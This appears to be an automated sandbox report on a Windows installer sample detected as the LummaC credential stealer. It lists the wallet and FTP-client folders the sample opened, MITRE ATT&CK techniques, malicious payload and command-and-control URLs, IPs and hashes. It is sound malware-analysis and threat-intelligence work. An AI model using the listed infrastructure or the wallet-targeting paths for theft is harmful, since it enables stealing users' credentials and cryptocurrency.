Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Directory queried: C:\Users\user\Documents\HTAGVDFUIE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	13 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	12 Process Injection	1 Obfuscated Files or Information	11 Input Capture	25 System Information Discovery	Remote Desktop Protocol	31 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	11 Input Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	111 Masquerading	NTDS	3 Process Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	121 Virtualization/Sandbox Evasion	LSA Secrets	121 Virtualization/Sandbox Evasion	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Process Injection	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Setup.exe	24%	ReversingLabs
Setup.exe	31%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\189943\Attachment.com	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Philosophy	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
360.net	0%	Virustotal	Browse
www.360.net	0%	Virustotal	Browse
klipcatepiu0.shop	2%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://360.net/	0%	Avira URL Cloud	safe
https://klipcatepiu0.shop/int_clp_ldr_sha.txt	0%	Avira URL Cloud	safe
https://360.net	0%	Avira URL Cloud	safe
http://subca.ocsp-certum.com02	0%	Avira URL Cloud	safe
https://toqyxuy.shop/api	0%	Avira URL Cloud	safe
http://subca.ocsp-certum.com01	0%	Avira URL Cloud	safe
https://www.certum.pl/CPS0	0%	Avira URL Cloud	safe
http://360.net	0%	Avira URL Cloud	safe
https://www.360.net	0%	Avira URL Cloud	safe
http://klipcatepiu0.shop	0%	Avira URL Cloud	safe
https://klipcatepiu0.shop/int_clp_sha.txt	100%	Avira URL Cloud	malware
https://klipcatepiu0.shop	0%	Avira URL Cloud	safe
https://www.360.net/	0%	Avira URL Cloud	safe
http://www.bitcomet.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
toqyxuy.shop	104.21.36.51	true	true		unknown
360.net	180.163.242.102	true	false	0%, Virustotal, Browse	unknown
www.360.net	180.163.242.102	true	false	0%, Virustotal, Browse	unknown
www.wshifen.com	103.235.47.188	true	false		high
klipcatepiu0.shop	104.21.26.127	true	true	2%, Virustotal, Browse	unknown
pastebin.com	104.20.4.235	true	false		high
silversky.club	unknown	unknown	false		high
jQTLvBhCSWe.jQTLvBhCSWe	unknown	unknown	true		unknown
www.baidu.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://klipcatepiu0.shop/int_clp_ldr_sha.txt	true	Avira URL Cloud: safe	unknown
https://360.net/	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/erLX7UsT	false		high
https://toqyxuy.shop/api	true	Avira URL Cloud: safe	unknown
https://www.360.net/	false	Avira URL Cloud: safe	unknown
https://klipcatepiu0.shop/int_clp_sha.txt	true	Avira URL Cloud: malware	unknown
https://www.baidu.com/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://repository.certum.pl/ctsca2021.cer0A	Setup.exe	false		high
http://crl.certum.pl/ctsca2021.crl0o	Setup.exe	false		high
https://www.baidu.com/s?wd=%E8%A6%81%E5%8A%A0%E5%BC%BA%E9%9D%9E%E7%89%A9%E8%B4%A8%E6%96%87%E5%8C%96%	powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000013.00000002.3526813022.0000000006153000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ccsca2021.crl.certum.pl/ccsca2021.crl0s	Setup.exe	false		high
https://360.net	powershell.exe, 00000013.00000002.3520234737.000000000536B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.autoitscript.com/autoit3/	Hart.0.dr, Attachment.com.1.dr	false		high
http://repository.certum.pl/ccsca2021.cer0	Setup.exe	false		high
https://aka.ms/pscore6lB	powershell.exe, 00000010.00000002.3191251661.0000000005131000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.00000000050F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://subca.ocsp-certum.com05	Setup.exe	false		high
http://klipcatepiu0.shop	powershell.exe, 00000013.00000002.3520234737.0000000005398000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://subca.ocsp-certum.com02	Setup.exe	false	Avira URL Cloud: safe	unknown
http://subca.ocsp-certum.com01	Setup.exe	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000013.00000002.3526813022.0000000006153000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000010.00000002.3194182240.0000000006192000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3526813022.0000000006153000.00000004.00000800.00020000.00000000.sdmp	false		high
https://top.baidu.com/board?platform=pc&sa=pcindex_entry	powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctnca2.crl0l	Setup.exe	false		high
http://repository.certum.pl/ctnca2.cer09	Setup.exe	false		high
https://www.baidu.com/s?wd=%E7%A7%A6%E5%B2%9A%E7%9A%84%E8%BA%AB%E6%9D%90%E5%A4%AA%E7%BB%9D%E4%BA%86&	powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ccsca2021.ocsp-certum.com05	Setup.exe	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000010.00000002.3191251661.0000000005131000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.00000000050F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.certum.pl/CPS0	Setup.exe	false		high
https://www.baidu.com/s?wd=%E9%9F%A9%E5%9B%BD%E5%9B%BD%E4%BC%9A%E6%9C%AA%E9%80%9A%E8%BF%87%E5%B0%B9%	powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/J	Attachment.com, 0000000A.00000000.1699207708.0000000000619000.00000002.00000001.01000000.00000007.sdmp, Hart.0.dr, Attachment.com.1.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000010.00000002.3194182240.0000000006192000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3526813022.0000000006153000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.baidu.com	powershell.exe, 00000013.00000002.3520234737.0000000005398000.00000004.00000800.00020000.00000000.sdmp	false		high
http://360.net	powershell.exe, 00000013.00000002.3520234737.000000000537B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.certum.pl/ctnca.cer09	Setup.exe	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000013.00000002.3520234737.000000000524D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000010.00000002.3191251661.0000000005286000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.certum.pl/ctnca.crl0k	Setup.exe	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000013.00000002.3520234737.000000000524D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000013.00000002.3520234737.00000000059A5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000013.00000002.3526813022.0000000006153000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.baidu.com/s?wd=%E5%AE%9C%E5%AE%B6%E7%9A%84%E6%B2%99%E5%8F%91%E4%B8%8A%E5%B7%B2%E7%BB%8F%	powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	Setup.exe	false		high
https://www.certum.pl/CPS0	Setup.exe	false	Avira URL Cloud: safe	unknown
https://www.360.net	powershell.exe, 00000013.00000002.3520234737.000000000524D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.00000000050F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000013.00000002.3520234737.000000000524D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.wshifen.com	powershell.exe, 00000013.00000002.3520234737.0000000005398000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.baidu.com	powershell.exe, 00000013.00000002.3520234737.000000000524D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.0000000005384000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.00000000050F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.baidu.com/s?wd=%E4%B8%AD%E5%9B%BD%E6%98%A5%E8%8A%82%E7%9A%84N%E7%A7%8D%E6%89%93%E5%BC%80	powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.0000000005384000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.baidu.com/s?wd=%E4%B8%AD%E5%9B%BD%E9%A6%99%E6%B8%AF8-7%E6%88%98%E8%83%9C%E6%97%A5%E6%9C%	powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.0000000005384000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	powershell.exe, 00000013.00000002.3535124573.00000000075A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.baidu.com/s?wd=34%E5%B2%81%E5%A5%B3%E5%AD%90%E5%81%A5%E8%BA%AB4%E5%B9%B4%E7%88%86%E6%94%	powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.0000000005384000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000010.00000002.3191251661.0000000005286000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.baidu.com/s?wd=%E5%A4%9A%E5%9C%B0%E4%B8%AD%E5%B0%8F%E5%AD%A6%E6%A0%A1%E9%95%BF%E6%8E%A5%	powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.bitcomet.com	Setup.exe	false	Avira URL Cloud: safe	unknown
https://klipcatepiu0.shop	powershell.exe, 00000013.00000002.3520234737.0000000005398000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.baidu.com/s?wd=51%E5%B2%81%E4%BB%BB%E6%B3%89%E7%BD%95%E8%A7%81%E7%8E%B0%E8%BA%AB	powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.26.127	klipcatepiu0.shop	United States	13335	CLOUDFLARENETUS	true
104.20.4.235	pastebin.com	United States	13335	CLOUDFLARENETUS	false
180.163.242.102	360.net	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
103.235.47.188	www.wshifen.com	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
104.21.36.51	toqyxuy.shop	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570755
Start date and time:	2024-12-08 01:43:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@28/28@9/5
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 108 Number of non-executed functions: 49
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7736 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8132 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.26.127	Full_Setup_v24.exe	Get hash	malicious	LummaC Stealer	Browse
104.21.26.127	https://groun-93ed.ehajdranrsuw.workers.dev/	Get hash	malicious	HTMLPhisher	Browse
104.20.4.235	gabe.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	gaber.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	pastebin.com/raw/sA04Mwk2
	sostener.vbs	Get hash	malicious	Njrat	Browse	pastebin.com/raw/V9y5Q5vv
	sostener.vbs	Get hash	malicious	XWorm	Browse	pastebin.com/raw/V9y5Q5vv
	envifa.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
180.163.242.102	b6FArHy7yA.exe	Get hash	malicious	LummaC Stealer	Browse
103.235.47.188	VIP-#U4f1a#U5458#U7248.exe	Get hash	malicious	BlackMoon	Browse	www.baidu.com/
	Iifpj4i2kC.exe	Get hash	malicious	FormBook	Browse	www.zruypj169g.top/md02/?oHH8=VZUPDXU8mXkToFn&0PG4QdD=KBMih/6UmjMCLIvQj8A+JVJ0ZduXlvkac/jrKRN7UGcA2YCWIWeuvW479UURmW6VwJBRFqK2PA==
	3.exe	Get hash	malicious	BlackMoon, XRed	Browse	www.baidu.com/
	CZyOWoN2hiszA6d.exe	Get hash	malicious	FormBook	Browse	www.vicmvm649n.top/v15n/?Yn=UsBn8mn1PUl4czyMQZxenuqc6dPBc+Q3khu6MN2NNQj7YA4ug5lWpId+R/K0fD87Hm6v&mv=Y4QppplhSjwxWBd
	f2.exe	Get hash	malicious	BlackMoon	Browse	www.baidu.com/
	f1.exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	SecuriteInfo.com.FileRepMalware.29184.31872.exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	chAJcIK6ZO.exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	LisectAVT_2403002A_489.exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	d48c236503a4d2e54e23d9ebc9aa48e86300fd24955c871a7b8792656c47fb6a.exe	Get hash	malicious	Bdaejec	Browse	www.baidu.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.360.net	b6FArHy7yA.exe	Get hash	malicious	LummaC Stealer	Browse	180.163.242.102
www.360.net	Full_Setup_v24.exe	Get hash	malicious	LummaC Stealer	Browse	180.163.246.86
www.wshifen.com	b6FArHy7yA.exe	Get hash	malicious	LummaC Stealer	Browse	103.235.47.188
	VIP-#U4f1a#U5458#U7248.exe	Get hash	malicious	BlackMoon	Browse	103.235.46.96
	360safe.exe	Get hash	malicious	Unknown	Browse	103.235.47.188
	XiaobingOnekey.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	DNF#U604b#U62180224a.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	http://profdentalcare.com	Get hash	malicious	Unknown	Browse	103.235.46.96
	Iifpj4i2kC.exe	Get hash	malicious	FormBook	Browse	103.235.47.188
	https://www.baidu.com/link?url=7AgUGxkCgEsQdPm9T1PXcA0XghaPOWMLvdhGyyVngg844uS4x-KZy4IMqs1ov0OgdFqhAB-_X2oOV9exK4hWC_&wd=ZWxraW58WTI5eVpUUmpaUzVqYjIwPXxNYkdVSlpkdVROdWNyeW1UWU1laElVVW1QbGRGb0F5RmNLcWJadW1CT01YYw==	Get hash	malicious	HTMLPhisher	Browse	103.235.46.96
	kHslwiV2w6.exe	Get hash	malicious	FormBook	Browse	103.235.47.188
	http://wap.smarthomehungary.com/	Get hash	malicious	Unknown	Browse	103.235.46.96
toqyxuy.shop	'Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.185.163
360.net	b6FArHy7yA.exe	Get hash	malicious	LummaC Stealer	Browse	180.163.242.102
	Full_Setup_v24.exe	Get hash	malicious	LummaC Stealer	Browse	180.163.246.86
	wh2JzrnksH	Get hash	malicious	Unknown	Browse	180.163.246.86
	MCYq2AqNU0.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc, Xmrig	Browse	218.213.216.154
	xqz8sQ4mZB.exe	Get hash	malicious	Glupteba, SmokeLoader	Browse	218.213.216.3
	https://iop360.net/jsg2n	Get hash	malicious	Unknown	Browse	92.255.57.104
	Drawing & Company Profile.exe	Get hash	malicious	FormBook	Browse	156.239.201.69
	REQUIREMENT.exe	Get hash	malicious	GuLoader FormBook	Browse	156.239.224.4
	c0dda7a83d4cc964b37957b563b1b6ff6fd64256.smile.exe	Get hash	malicious	Raccoon	Browse	70.32.20.67

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	'Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.185.163
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.24.90
	meerkat.mips.elf	Get hash	malicious	Mirai	Browse	8.44.96.113
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Unknown	Browse	104.21.35.78
CLOUDFLARENETUS	'Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.185.163
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.24.90
	meerkat.mips.elf	Get hash	malicious	Mirai	Browse	8.44.96.113
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Unknown	Browse	104.21.35.78
CHINANET-SH-APChinaTelecomGroupCN	meerkat.mpsl.elf	Get hash	malicious	Mirai	Browse	101.84.121.68
	meerkat.mips.elf	Get hash	malicious	Mirai	Browse	101.87.127.232
	arm5.elf	Get hash	malicious	Unknown	Browse	180.171.219.147
	arm.elf	Get hash	malicious	Unknown	Browse	175.102.177.215
	jmhgeojeri.elf	Get hash	malicious	Unknown	Browse	114.90.48.223
	i686.elf	Get hash	malicious	Unknown	Browse	180.152.179.135
	pjyhwsdgkl.elf	Get hash	malicious	Unknown	Browse	110.43.144.104
	arm7.elf	Get hash	malicious	Unknown	Browse	101.92.102.100
	home.m68k.elf	Get hash	malicious	Gafgyt, Mirai	Browse	124.78.246.175
	home.x86.elf	Get hash	malicious	Gafgyt, Mirai	Browse	61.171.63.176

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.21.26.127 103.235.47.188 180.163.242.102
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse	104.21.26.127 103.235.47.188 180.163.242.102
	INVOICES.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.26.127 103.235.47.188 180.163.242.102
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	104.21.26.127 103.235.47.188 180.163.242.102
	nwindowsdll.msi	Get hash	malicious	AteraAgent	Browse	104.21.26.127 103.235.47.188 180.163.242.102
	upgrade.hta	Get hash	malicious	DarkVision Rat	Browse	104.21.26.127 103.235.47.188 180.163.242.102
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.21.26.127 103.235.47.188 180.163.242.102
	file.exe	Get hash	malicious	Unknown	Browse	104.21.26.127 103.235.47.188 180.163.242.102
	INQUIRY REQUEST AND PRICES_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.26.127 103.235.47.188 180.163.242.102
	RFQ Order list #2667747.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.26.127 103.235.47.188 180.163.242.102
a0e9f5d64349fb13191bc781f81f42e1	'Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.26.127 104.20.4.235 104.21.36.51
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.26.127 104.20.4.235 104.21.36.51
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.26.127 104.20.4.235 104.21.36.51
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.26.127 104.20.4.235 104.21.36.51
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.26.127 104.20.4.235 104.21.36.51
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	104.21.26.127 104.20.4.235 104.21.36.51
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.26.127 104.20.4.235 104.21.36.51
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.26.127 104.20.4.235 104.21.36.51
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.26.127 104.20.4.235 104.21.36.51

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\189943\Attachment.com	'Set-up.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	JSWunwO4rS.lnk	Get hash	malicious	LummaC Stealer	Browse
	Yn13dTQdcW.exe	Get hash	malicious	Vidar	Browse
	DM6vAAgoCw.exe	Get hash	malicious	Orcus, Xmrig	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	xoJxSAotVM.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
